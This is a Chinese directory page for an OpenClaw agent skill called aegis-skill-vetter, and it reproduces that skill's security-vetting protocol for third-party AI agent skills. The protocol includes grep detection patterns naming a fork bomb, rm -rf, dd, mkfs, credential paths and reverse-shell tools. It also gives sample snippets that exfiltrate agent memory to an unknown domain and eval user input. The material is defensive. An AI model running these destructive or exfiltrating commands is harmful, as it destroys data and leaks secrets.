Token导航 LogoToken导航

Agent Skill · 开发

aegis-skill-vetter(宙斯盾技能审查员)

aegis-skill-vetter 用于辅助安全审计、权限检查和凭据风险排查,适合在 OpenClaw 中需要复核安全边界、认证流程或敏感配置时使用。可结合来源仓库、安装命令和原始 README 继续核验具体用法。安装前建议确认权限范围、维护状态,以及是否会触发联网、命令执行或文件读写。

aegis-skill-vetter 是开发类 Agent Skill,可用宿主为 OpenClaw,通过ClawHub获取,权限为接触敏感数据;许可证为 MIT-0,第三方扫描已通过,按安装量在开发类的 21,746 个 Skill 里排第 2,277。

总安装 18,792周安装 799GitHub Stars 1下载 6,584核验 2026-05-01

安装说明

本站只整理中文说明,不托管安装包,也不代用户安装。
GitHub
许可证
MIT-0
版本
2.0.0

安装方式

通过对话安装

复制提示词发给支持本地命令或 Skills 的 AI 助手,先确认命令和权限,再让它执行。

请帮我安装这个 Agent Skill:aegis-skill-vetter(宙斯盾技能审查员)
来源仓库:https://github.com/r00tfe1/aegis-skill-vetter
安装命令:
openclaw skills install aegis-skill-vetter
安装前请先检查当前环境是否支持对应 CLI,并向我确认将要执行的命令、安装目录、联网范围和文件读写权限;确认后再执行。

命令行安装

复制命令到本机终端执行。该命令会通过 OpenClaw 从第三方来源获取 Skill;本站只展示命令,不托管安装包,也不自动执行。

ClawHubOpenClaw
openclaw skills install aegis-skill-vetter

这个 Skill 是做什么的

开发类 Skill 面向写代码、改代码和排查问题,一般会读写仓库文件,部分还会执行构建或测试命令。

针对 AI Agent Skill的企业级安全审查协议。自动威胁检测、量化风险评分和零信任代码分析。

上手步骤

4 步
  1. 1

    确认自己的宿主工具

    公开资料标注支持 OpenClaw;先确认自己用的是其中之一,再按对应工具的 Skills 目录放置。

  2. 2

    拿到安装命令

    可以直接复制的命令是 openclaw skills install aegis-skill-vetter;命令里的占位符换成自己的路径或密钥再执行。

  3. 3

    安装后重启宿主

    命令执行完要完全退出宿主工具再打开,让新装的 Skill 被重新扫描到,否则列表里可能看不到。

  4. 4

    按最小权限试用

    它需要接触敏感数据,先在测试目录或测试账号里跑,确认没问题再放到正式项目。

常见问题

6 条

aegis-skill-vetter 怎么安装?

在终端执行 openclaw skills install aegis-skill-vetter。装完完全退出宿主工具再打开,让它重新扫描本地 Skill。

aegis-skill-vetter 支持哪些 AI 工具?

公开资料标注支持 OpenClaw。其他工具只要能读取本地 Skill 目录,一般也能手动放进去,但要自己确认触发方式是否一致。

aegis-skill-vetter 需要什么权限?

权限级别是接触敏感数据。该 Skill 可能接触密钥、Token、环境变量或敏感配置,应进入高风险复核队列,默认不自动发布。

aegis-skill-vetter 是免费的吗?

来源标注的许可证是 MIT-0。本站不代收任何费用,也不托管安装包;能否商用、要不要署名,以许可证原文为准。

aegis-skill-vetter 用的人多吗?

公开数据是累计安装 18,792 次,近一周安装 799 次,下载 6,584 次,GitHub 1 星。这些数字来自第三方目录统计,只能当作热度参考,不代表质量或安全性。

aegis-skill-vetter 安全吗?

第三方扫描结果为通过,但这只覆盖已知的静态检查项,不能替代自己读一遍源码和安装命令。

值得选的地方和要先想清楚的地方

值得选的地方

  • 专注 OpenClaw 一种宿主,触发方式和使用习惯不用来回切换。
  • 许可证明确为 MIT-0,商用和分发边界好判断。
  • 第三方扫描已通过,常见的高风险行为没有命中。

先想清楚的地方

  • 需要接触敏感数据,装到常用环境前要先评估影响面。
  • 第三方目录整理,版本更新和行为细节以来源仓库为准。

适不适合你

更适合

  • 已经在用 OpenClaw,想直接扩展它能力的人。
  • 需要处理开发类任务、又不想每次都手写提示词的人。
  • 需要许可证清楚、并且有第三方扫描结果的团队项目。

不太适合

  • 环境里有大量密钥、凭证,不方便给第三方 Skill 读取的人。
  • 需要厂商级技术支持和 SLA 的生产系统。

开发类 Skill 对比

6 个同类
Skill总安装GitHub 星权限许可证扫描
skill-vetter

技能审查员 · OpenClaw

8,779,018986操作浏览器MIT-0通过
ontology

本体论 · OpenClaw

6,636,960576只读MIT-0通过
entra-app-registration

内部应用程序注册 · Codex、Claude

6,631,872764接触敏感数据未明确通过
entra-app-registration

内部应用程序注册 · Codex、Claude

3,757,680201接触敏感数据未明确通过
nano-banana-pro

纳米香蕉专业版 · OpenClaw

3,526,898364接触敏感数据MIT-0有提醒
aegis-skill-vetter

宙斯盾技能审查员 · 本页

18,7921接触敏感数据MIT-0通过

按安装量取同分类前几名;数字来自第三方目录统计,只作热度参考,不代表质量结论。

SKILL.md 原文

name
Aegis
version
2.0.0
description
Enterprise-grade security vetting protocol for AI agent skills. Automated threat detection, quantified risk scoring, and zero-trust code analysis.
author
WYF
aliases
["skill-vetter", "天鉴", "tianjian", "security-vetter", "aegis-skill-vetter", "aegis"]
license
MIT
acceptLicenseTerms
true

Aegis · Skill Security Vetting System 🛡️

*"Aegis protects, Aegis decides."*

企业级 AI 代理技能安全审查协议。自动化威胁检测、量化风险评分、零信任代码分析。


🎯 核心定位

天鉴是一个防御性安全技能,用于在安装任何第三方技能前进行深度安全审查。它不是简单的检查清单,而是一套完整的安全决策框架。

设计原则

原则说明
🛡️ 零信任所有外部代码默认不可信,必须经过验证
📊 量化评估风险必须可量化、可比较、可追溯
🤖 AI 优先为 AI agent 设计,决策流程可被机器理解执行
⚡ 自动化能自动检查的绝不依赖人工判断
📝 可审计所有审查结果必须可记录、可回溯

🚀 使用场景

必须使用天鉴的情况

  • [ ] 从 ClawHub/skillhub 安装任何技能
  • [ ] 从 GitHub/GitLab 克隆技能代码
  • [ ] 其他 AI 代理推荐的技能
  • [ ] 用户手动提供的技能文件夹
  • [ ] 任何需要 exec 执行外部脚本的情况

可跳过的情况(需记录原因)

  • [ ] OpenClaw 官方核心技能(已内置审查)
  • [ ] 之前已审查过且代码未变更的技能
  • [ ] 用户明确承担风险的内部开发技能

🔍 五层审查协议

第一层:来源信誉评估 (Source Reputation)

评估维度:
├── 来源类型 (Source Type)
│   ├── 官方仓库 (OpenClaw core) → 信任等级:高
│   ├── ClawHub/skillhub 认证技能 → 信任等级:中高
│   ├── GitHub 高星项目 (100+ stars) → 信任等级:中
│   ├── GitHub 低星/新项目 → 信任等级:低
│   └── 未知来源/直接文件 → 信任等级:极低
│
├── 作者信誉 (Author Reputation)
│   ├── 已知可信作者(历史技能无问题)→ +20 分
│   ├── 有社区评价/引用 → +10 分
│   ├── 首次出现/匿名 → 0 分
│   └── 有负面记录 → -50 分(直接拒绝)
│
├── 时间维度 (Temporal Signals)
│   ├── 最后更新时间 < 3 个月 → +10 分
│   ├── 最后更新 < 1 年 → 0 分
│   └── 最后更新 > 1 年 → -10 分(可能过时)
│
└── 社区指标 (Community Metrics)
    ├── 下载量/安装量 → 按对数计分
    ├── 用户评价/反馈 → 正面 + 负面加权
    └── Fork 数/衍生项目 → 活跃度指标

自动化命令:

# ClawHub/skillhub 技能信息
skillhub info <skill-name>

# GitHub 仓库统计
curl -s "https://api.github.com/repos/{owner}/{repo}" | jq '{
  stars: .stargazers_count,
  forks: .forks_count,
  updated: .updated_at,
  created: .created_at,
  issues: .open_issues_count
}'

# 检查作者历史技能
ls ~/.openclaw/workspace/skills/ | grep -i <author>

第二层:静态代码分析 (Static Code Analysis)

🚨 立即拒绝的危险信号 (CRITICAL - 自动拒绝)

发现以下任意一项,直接拒绝安装,无需继续审查:

# 检查命令示例
grep -r "curl\|wget" --include="*.md" --include="*.sh" --include="*.js" --include="*.py" .
grep -r "exec(\|eval(" --include="*.js" --include="*.py" .
grep -r "base64.*decode\|atob(" --include="*.js" --include="*.py" .
grep -r "~/.ssh\|~/.aws\|~/.config\|credentials\|\.env" --include="*.md" --include="*.js" --include="*.py" .
grep -r "MEMORY.md\|SOUL.md\|USER.md\|IDENTITY.md" --include="*.md" --include="*.js" --include="*.py" .
grep -r "sudo\|pkexec\|doas" --include="*.md" --include="*.sh" .
grep -r "rm -rf\|dd if=\|mkfs\|:(){:|:&};:" --include="*.sh" .
grep -r "0x[0-9a-fA-F]\{8,\}" --include="*.js" --include="*.py"  # 混淆的十六进制
grep -r "javascript:.*eval\|data:text/html" --include="*.md" .  # XSS 向量

危险信号清单:

信号类型检测模式风险等级说明
数据外传`curl\wget` + 未知域名⛔ CRITICAL可能窃取数据
代码执行eval(, exec(⛔ CRITICAL动态执行恶意代码
编码混淆base64.*decode, atob(⛔ CRITICAL隐藏真实意图
凭证窃取~/.ssh, ~/.aws, credentials⛔ CRITICAL窃取敏感信息
记忆访问MEMORY.md, SOUL.md, USER.md⛔ CRITICAL访问私有上下文
提权尝试sudo, pkexec, doas⛔ CRITICAL尝试获取更高权限
破坏命令rm -rf /, dd if=, mkfs⛔ CRITICAL破坏系统
混淆代码长十六进制字符串、压缩代码⛔ CRITICAL隐藏真实功能
XSS 攻击javascript:, data:text/html⛔ CRITICAL浏览器攻击
反向 Shellbash -i, nc -e, python.*socket⛔ CRITICAL建立后门
⚠️ 需要人工审查的警告信号 (WARNING - 需解释)
# 检查命令示例
grep -r "fetch(\|axios\|http.*request" --include="*.js" --include="*.py" .
grep -r "fs.*write\|file.*write" --include="*.js" --include="*.py" .
grep -r "child_process\|subprocess\|spawn" --include="*.js" --include="*.py" .
grep -r "localStorage\|sessionStorage\|cookie" --include="*.js" .
grep -r "crypto\|encrypt\|decrypt" --include="*.js" --include="*.py" .

警告信号清单:

信号类型检测模式风险等级需要解释的问题
网络请求fetch, axios, requests🟡 WARNING访问哪些域名?用途是什么?
文件写入fs.writeFile, open('w')🟡 WARNING写入哪些文件?是否必要?
子进程child_process, subprocess🟡 WARNING执行什么命令?是否可替代?
存储访问localStorage, cookie🟡 WARNING存储什么数据?是否敏感?
加密操作crypto, encrypt🟡 WARNING加密什么?密钥如何管理?
环境变量process.env, os.environ🟡 WARNING读取哪些变量?是否必要?
定时任务setInterval, cron, schedule🟡 WARNING执行频率?是否会资源耗尽?
事件监听process.on, signal🟡 WARNING监听什么事件?是否有副作用?

第三层:权限范围分析 (Permission Scope Analysis)

权限矩阵:
┌─────────────────┬──────────┬──────────┬──────────┐
│ 权限类型        │ 只读     │ 读写     │ 执行     │
├─────────────────┼──────────┼──────────┼──────────┤
│ 工作区文件      │ 🟢 允许   │ 🟡 审查   │ 🟡 审查   │
│ 用户配置文件    │ 🔴 禁止   │ 🔴 禁止   │ 🔴 禁止   │
│ 系统文件        │ 🔴 禁止   │ 🔴 禁止   │ 🔴 禁止   │
│ 网络访问        │ 🟡 审查   │ N/A      │ 🟡 审查   │
│ 外部命令        │ N/A      │ N/A      │ 🔴 禁止*  │
└─────────────────┴──────────┴──────────┴──────────┘
* 除非技能明确需要且用户批准

权限检查清单:

文件访问:
  - 读取范围:是否仅限工作区内?
  - 写入范围:是否创建新文件而非修改现有文件?
  - 敏感路径:是否触碰 ~/.*, /etc/, /var/ 等?

网络访问:
  - 目标域名:是否明确列出?
  - 协议:是否仅使用 HTTPS?
  - 数据流向:是读取还是上传?上传什么数据?

命令执行:
  - 命令列表:是否硬编码而非用户输入?
  - 参数来源:是否可能被注入?
  - 替代方案:是否可用内置 API 替代?

第四层:依赖链分析 (Dependency Chain Analysis)

# 检查 package.json / requirements.txt / Cargo.toml
cat package.json | jq '.dependencies'
cat requirements.txt
cat Cargo.toml | grep -A 50 '\[dependencies\]'

# 检查依赖是否有已知漏洞
npm audit 2>/dev/null || true
pip-audit 2>/dev/null || true
cargo-audit 2>/dev/null || true

# 检查依赖数量(过多依赖增加攻击面)
cat package.json | jq '.dependencies | length'

依赖风险评估:

依赖数量风险等级说明
0-5 个🟢 低依赖少,攻击面小
6-20 个🟡 中需要审查关键依赖
21-50 个🟠 高依赖过多,建议简化
50+ 个🔴 极高拒绝安装,要求重构

依赖来源检查:

  • [ ] 所有依赖来自官方仓库(npm/pypi/crates.io)
  • [ ] 无 git 直连依赖(git+https://...)
  • [ ] 无本地路径依赖(file:...)
  • [ ] 无未知源依赖

第五层:行为意图分析 (Behavioral Intent Analysis)

核心问题: 这个技能的实际行为是否与其声明的用途一致?

一致性检查:
├── 功能声明 vs 实际代码
│   ├── 声明"只读天气 API" → 实际只有 fetch 天气接口 ✓
│   └── 声明"文件管理" → 实际有网络请求 ✗ 不一致!
│
├── 最小权限原则
│   ├── 是否请求了不必要的权限?
│   └── 是否有更安全的替代实现?
│
└── 副作用分析
    ├── 是否有未声明的副作用(如修改全局状态)?
    └── 是否有持久化行为(如写入配置文件)?

📊 风险评分系统

量化评分模型

基础分:100 分

扣分项:
├── 来源信誉
│   ├── 未知作者:-20 分
│   ├── 无社区评价:-10 分
│   └── 超过 1 年未更新:-10 分
│
├── 代码警告信号(每个)
│   ├── 网络请求未说明目标:-5 分
│   ├── 文件写入未说明范围:-5 分
│   ├── 使用子进程:-10 分
│   └── 加密操作:-5 分
│
├── 依赖风险
│   ├── 依赖数量 > 20:-10 分
│   ├── 有已知漏洞依赖:-20 分/个
│   └── 非官方源依赖:-15 分/个
│
└── 行为不一致
    ├── 功能与代码不符:-30 分
    └── 有未声明副作用:-20 分

加分项:
├── 开源许可证(MIT/Apache/BSD):+10 分
├── 有完整测试覆盖:+10 分
├── 有文档和示例:+5 分
└── 作者响应 issue 积极:+5 分

风险等级划分

分数范围风险等级标识决策
80-100低风险🟢自动批准安装
60-79中风险🟡需人工审查后决定
40-59高风险🟠强烈不建议,需明确理由
0-39极高风险🔴禁止安装
任何 CRITICAL 信号拒绝⛔直接拒绝,不评分

📋 审查报告模板

╔══════════════════════════════════════════════════════════╗
║           天鉴 · 技能安全审查报告                         ║
║            TIANJIAN SECURITY VETTING REPORT              ║
╠══════════════════════════════════════════════════════════╣
║ 审查 ID: TJ-{{YYYYMMDD}}-{{HHMMSS}}-{{随机 4 位}}              ║
║ 审查时间:{{ISO8601 时间戳}}                                  ║
║ 审查代理:{{Agent 名称/ID}}                                  ║
╚══════════════════════════════════════════════════════════╝

【技能信息】
├── 技能名称:{{skill-name}}
├── 声 明 版 本:{{version}}
├── 声 明 作 者:{{author}}
├── 来    源:{{ClawHub / GitHub URL / 其他}}
├── 声 明 用 途:{{description}}
└── 许 可 证:{{license}}

【来源信誉评估】
├── 来源类型:{{官方/认证/社区/未知}}
├── 作者历史:{{已知可信/首次出现/有负面记录}}
├── 社区指标:{{stars/downloads/forks}}
├── 最后更新:{{last-updated}}
└── 信誉得分:{{X}}/{{100}}

【代码审查结果】
├── 文件总数:{{count}}
├── 代码行数:{{LOC}}
├── CRITICAL 信号:{{数量}} - {{列表或"无"}}
├── WARNING 信号:{{数量}} - {{列表或"无"}}
└── 代码混淆检测:{{通过/失败}}

【权限范围分析】
├── 文件访问:{{只读工作区/读写工作区/访问敏感文件}}
├── 网络访问:{{无/仅读取/可上传数据}}
├── 命令执行:{{无/有限命令/任意命令}}
└── 最小权限原则:{{符合/不符合}}

【依赖链分析】
├── 依赖数量:{{count}}
├── 依赖来源:{{全部官方/混合/未知源}}
├── 已知漏洞:{{数量}} - {{CVE 列表或"无"}}
└── 依赖风险:{{低/中/高}}

【行为一致性】
├── 声明 vs 实际:{{一致/部分一致/不一致}}
├── 未声明副作用:{{无/有 - 详细说明}}
└── 可替代方案:{{有/无}}

【风险评分】
├── 基础分:100
├── 扣分项:-{{X}}
├── 加分项:+{{Y}}
├── 最终得分:{{Z}}/{{100}}
└── 风险等级:{{🟢低/🟡中/🟠高/🔴极高}}

【审查结论】
╔══════════════════════════════════════════════════════════╗
║  决    策:{{✅ 批准安装 / ⚠️ 谨慎安装 / ❌ 拒绝安装}}           ║
║  置信度:{{高/中/低}}                                       ║
║  审查员:{{AI/人工}}                                        ║
╚══════════════════════════════════════════════════════════╝

【审查员备注】
{{自由文本:任何需要说明的观察、疑虑或建议}}

【审计追踪】
├── 审查日志:{{log-file-path}}
├── 代码快照:{{snapshot-path}}
└── 复查期限:{{建议复查日期}}

🤖 AI Agent 集成指南

快速决策树

开始审查
    │
    ▼
是否有 CRITICAL 信号?
    ├── 是 → 输出拒绝报告,终止
    │
    └── 否 → 继续
            │
            ▼
        计算风险评分
            │
            ▼
        分数 >= 80?
            ├── 是 → 输出批准报告,可安装
            │
            └── 否 → 分数 >= 60?
                    ├── 是 → 输出谨慎报告,需人工确认
                    │
                    └── 否 → 输出拒绝报告,不建议安装

自动化审查脚本

#!/bin/bash
# 天鉴自动化审查入口脚本

SKILL_PATH="$1"
REPORT_DIR="./vetting-reports"

if [ -z "$SKILL_PATH" ]; then
    echo "用法:tianjian-vet.sh <skill-path>"
    exit 1
fi

mkdir -p "$REPORT_DIR"
REPORT_FILE="$REPORT_DIR/vet-$(date +%Y%m%d-%H%M%S).md"

echo "🔱 天鉴安全审查启动..."
echo "目标:$SKILL_PATH"
echo ""

# 第一层:来源检查
echo "📍 第一层:来源信誉评估..."
# ... 实现来源检查逻辑

# 第二层:静态分析
echo "🔬 第二层:静态代码分析..."
# ... 实现静态分析

# 第三层:权限分析
echo "🔐 第三层:权限范围分析..."
# ... 实现权限分析

# 第四层:依赖分析
echo "📦 第四层:依赖链分析..."
# ... 实现依赖分析

# 第五层:行为分析
echo "🎯 第五层:行为意图分析..."
# ... 实现行为分析

# 生成报告
echo "📝 生成审查报告..."
# ... 生成报告

echo "✅ 审查完成,报告:$REPORT_FILE"

与技能安装流程集成

# 在技能安装流程中插入天鉴检查
skill-install-flow:
  pre-install:
    - run: tianjian-vet {{skill-name}}
      check: exit_code == 0
      on_failure:
        - show_report: true
        - require_user_confirm: true
  
  install:
    - run: skillhub install {{skill-name}}
  
  post-install:
    - run: tianjian-audit {{skill-name}}  # 安装后验证

📚 附录

A. 常见安全模式识别

数据外传模式:

// 可疑模式
fetch('https://unknown-domain.com/api', {
  method: 'POST',
  body: JSON.stringify({ memory: context.memory })
})

凭证窃取模式:

# 可疑模式
import os
aws_key = os.environ.get('AWS_SECRET_ACCESS_KEY')
# 然后发送到外部...

代码注入模式:

// 可疑模式
const userInput = getUserInput();
eval(userInput);  // 直接执行用户输入

B. 安全编码最佳实践

推荐模式:

// ✅ 好的做法:明确的 API 调用,无动态执行
const weather = await fetch('https://api.weather.gov/...');
const data = await weather.json();

// ✅ 好的做法:文件操作限制在工作区
const notePath = path.join(workspaceRoot, 'notes', filename);
await fs.writeFile(notePath, content);

C. 审查频率建议

技能类型审查频率
核心技能每次更新
高频使用技能每月复查
低频技能每季度复查
有警告信号技能每次使用前

D. 紧急响应流程

发现已安装技能存在安全问题:

  1. 立即隔离 - 禁用技能,阻止其执行
  2. 影响评估 - 检查是否有数据泄露或系统修改
  3. 溯源分析 - 确定问题引入时间点和原因
  4. 修复/卸载 - 修复问题或完全移除技能
  5. 报告记录 - 记录事件到审查日志
  6. 流程改进 - 更新审查规则防止类似问题

🔱 天鉴箴言

「代码如人心,不可轻信」 每一次安装都是一次信任的授予。 天鉴的存在,不是阻碍创新,而是守护边界。 在便利与安全之间,我们选择安全。 在速度与审慎之间,我们选择审慎。 因为一次疏忽,可能代价惨重。 而多一次审查,只是片刻等待。

📄 License

This skill is licensed under the MIT License.

MIT License

Copyright (c) 2026 Aegis Skill Vetter

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

*天鉴 · 版本 2.0.0 · 为 AI 代理而生的安全审查系统*

🔱 天鉴高悬,万邪不侵 🔱

平台分布

OpenClaw

84.26%
按下载量换算5,548

安全审计

VirusTotal

通过

ClawScan

通过

Static analysis

通过

权限和风险

接触敏感数据

该 Skill 可能接触密钥、Token、环境变量或敏感配置,应进入高风险复核队列,默认不自动发布。

安装前确认

本站仅展示第三方公开信息,不托管安装包,不提供自动安装或运行环境。安装前应自行审查源码、依赖和命令行为。目前只有一个公开来源,建议同时核对源仓库。

继续浏览同类 Skills